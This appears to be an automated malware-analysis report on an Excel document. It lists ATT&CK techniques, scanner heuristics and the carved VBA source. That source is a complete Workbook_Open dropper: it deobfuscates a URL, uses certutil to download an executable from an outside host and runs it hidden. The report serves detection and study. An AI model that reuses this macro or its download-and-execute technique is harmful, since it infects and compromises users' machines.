MALICIOUS
436
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1218.005 System Binary Proxy Execution: Signed Binary Proxy Execution
T1105 Ingress Tool Transfer
T1071.001 Application Layer Protocol: Web Protocols
The Workbook_Open macro executes a series of commands to download a file from "https://sohfalwoawiroz.com/data/wed.exe" using certutil. It then saves the file as "C:\systask.exe" and executes it using WScript.Shell. The use of certutil for downloading and WScript.Shell for execution, along with the Workbook_Open trigger, strongly indicates a dropper functionality.
Heuristics 11
-
ClamAV: Doc.Dropper.Agent-6954705-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6954705-0
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
gj = objHTML.ParentWindow.clipboardData.setData("Text", "") Shell (trfutyjnih) End Sub -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
ClipboardText = objHTML.ParentWindow.clipboardData.GetData("text") Set eryd = CreateObject("WScript.Shell") eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Set eryd = CreateObject("WScript.Shell") eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False rthybfhd (60) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\\systask.bbc", "bbc", "exe") Set objHTML = CreateObject("htmlfile") ff = objHTML.ParentWindow.clipboardData.setData("Text", hh) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Workbook_Open() ryqe = Replace(("qsohfalwoawiroz.com/data/wed.bbc"), "bbc", "exe") -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
hh = Replace(ryqe, "qsohf", "https://") trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\\systask.bbc", "bbc", "exe") Set objHTML = CreateObject("htmlfile") -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Reference to certutil (download/decode) high SC_STR_CERTUTILReference to certutil (download/decode)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1421 bytes |
SHA-256: 3f20ba8183e6a86938c19c68289aeb2f121d5bc9461b6bf755e24eb16bfdfd47 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub mad()
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
ryqe = Replace(("qsohfalwoawiroz.com/data/wed.bbc"), "bbc", "exe")
hh = Replace(ryqe, "qsohf", "https://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\\systask.bbc", "bbc", "exe")
Set objHTML = CreateObject("htmlfile")
ff = objHTML.ParentWindow.clipboardData.setData("Text", hh)
ClipboardText = objHTML.ParentWindow.clipboardData.GetData("text")
Set eryd = CreateObject("WScript.Shell")
eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False
rthybfhd (60)
gj = objHTML.ParentWindow.clipboardData.setData("Text", "")
Shell (trfutyjnih)
End Sub
Sub rthybfhd(sec)
Dim temp
temp = Timer
Do While Timer - temp < sec
Loop
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.